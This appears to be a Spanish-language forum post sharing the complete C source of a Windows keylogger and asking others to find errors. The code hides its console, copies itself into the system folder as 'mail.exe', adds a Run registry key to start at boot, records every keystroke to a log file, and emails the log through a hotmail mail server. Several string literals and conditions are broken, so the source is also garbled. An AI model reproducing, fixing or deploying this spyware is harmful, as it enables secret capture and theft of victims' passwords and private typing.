hola bueno aca dejo el codigo completo haber si hay error:
#include <winsock.h>
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>
#pragma comment(lib, "ws2_32.lib")
void foo(int letra,char *file);
void leer(char *file);
char tex[5000];
int main(int argc,char **argv){
BOOL x;
unsigned int i;
char s[255],directory[300];
long key,res;
HKEY ret;
HWND r;
char buffer[1024],buffer1[1024];
WSADATA data;
SOCKADDR_IN add;
SOCKET sock;
if(argc<6 || argc>6){
printf("-Usage:%s backucp backup.log mx1.hotmail.com 25
jp_badoino@hotmail.com");
printf("\n\r%s","-[1]=true;
exit(0);
}
if(atoi(argv[2]) > 1 || atoi(argv[2]) < 0){
printf("\n%s\n","-Solo 1 o 0,men");
exit(0);
}
if (atoi(argv[2])==0)
printf("\n%s\n","-No se añade valores al registro ni se copia el fichero");
if (atoi(argv[2])==1){
AllocConsole();
r = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow (r,0);
i =GetSystemDirectory(s,255);
if (i != 0)
sprintf(directory,"%s\\%s",s,"mail.exe");
x =CopyFile(argv[0],directory,TRUE);
if (x = TRUE)
printf("\n%s\n","
key =RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&ret);
if(key==0){
printf("\n%s\n","
- Copia clave en registro");
sprintf(directory,"%s\\%s %s %s",s,"mail.exe",argv[1],argv[2]);
RegSetValueEx((HKEY)ret,"mail.exe",0,REG_SZ,(BYTE *)&directory,sizeof(directory));
}
}
res = WSAStartup(MAKEWORD(1,1),&data);
if (res !=0)
exit(0);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 1)
exit(0);
memset(&add, 0, sizeof(add));
add.sin_family = PF_INET;
add.sin_port = htons((unsigned short)atoi(argv[4]));
add.sin_addr.s_addr = inet_addr(argv[3]);
connect(sock,(LPSOCKADDR)&add,16);
leer(argv[1]);
send(sock,"helo\n\r",6,0);
send(sock,"mail from:jp_badoino@hotmail.com\n\r",strlen("mail from:jp_badoino@hotmail.com\n\r"),0);
sprintf(buffer,"rcpt to:%s\n\r",argv[5]);
send(sock,buffer,10 +strlen(argv[5]),0);
send(sock,"data\n\r",6,0);
send(sock,"subject:Keylogger\n\r",strlen("subject:Info\n\r"),0);
sprintf(buffer1,"contenido:%s\n\r.\n\r",tex);
send(sock,buffer1,strlen("contenido:\n\r.\n\r")+strlen(tex),0);
send(sock,"quit\n\r",6,0);
while(1){
for(i=8;i<=255;i++){
if (GetAsyncKeyState(i) == -32767)
{
foo (i,argv[1]);
}
}
}
}
void leer(char *file){
FILE *canal1;
if ((canal1= fopen(file,"r")) != NULL){
do{
fgets(tex,5000,canal1);
}while(feof(canal1) ==0);
}
}
void foo(int letra,char *file){
FILE *canal1;
canal1 = fopen(file,"a+");
if (letra==8)
fprintf(canal1,"%s","[del]");
if (letra==13)
fprintf(canal1,"%s","\n[enter]");
if (letra==32)
fprintf(canal1,"%s","[space]");
if (letra==VK_CAPITAL)
fprintf(canal1,"%s","[CapitalLetters]");
if (letra==VK_TAB)
fprintf(canal1,"%s","[TAB]");
if (letra ==VK_SHIFT)
fprintf(canal1,"%s","[SHIFT]");
if (letra ==VK_CONTROL)
fprintf(canal1,"%s","[CTRL]");
if (letra ==VK_PAUSE)
fprintf(canal1,"%s","[PAUSE]");
if (letra ==VK_KANA)
fprintf(canal1,"%s","[Kana]");
if (letra ==VK_ESCAPE)
fprintf(canal1,"%s","[ESC]");
if (letra ==VK_END)
fprintf(canal1,"%s","[END]");
if (letra ==VK_HOME)
fprintf(canal1,"%s","[HOME]");
if (letra ==VK_LEFT)
fprintf(canal1,"%s","
");
if (letra ==VK_UP)
fprintf(canal1,"%s","[UP]");
if (letra ==VK_RIGHT)
fprintf(canal1,"%s","
");
if (letra ==VK_DOWN)
fprintf(canal1,"%s","[DOWN]");
if (letra ==VK_SNAPSHOT)
fprintf(canal1,"%s","[PRINT]");
if (letra ==VK_NUMLOCK)
fprintf(canal1,"%s","[NUM LOCK]");
if (letra ==190 || letra==110)
fprintf(canal1,"%s",".");
if (letra >=96 && letra <= 105){
letra = letra - 48;
fprintf(canal1,"%s",&letra) ;
}
if (letra >=48 && letra <= 59)
fprintf(canal1,"%s",&letra) ;
if (letra !=VK_LBUTTON || letra !=VK_RBUTTON){
if (letra >=65 && letra <=90){
if (GetKeyState(VK_CAPITAL))
fprintf(canal1,"%s",&letra);
else
{
letra = letra +32;
fprintf(canal1,"%s",&letra);
}
}
}
fclose(canal1);
}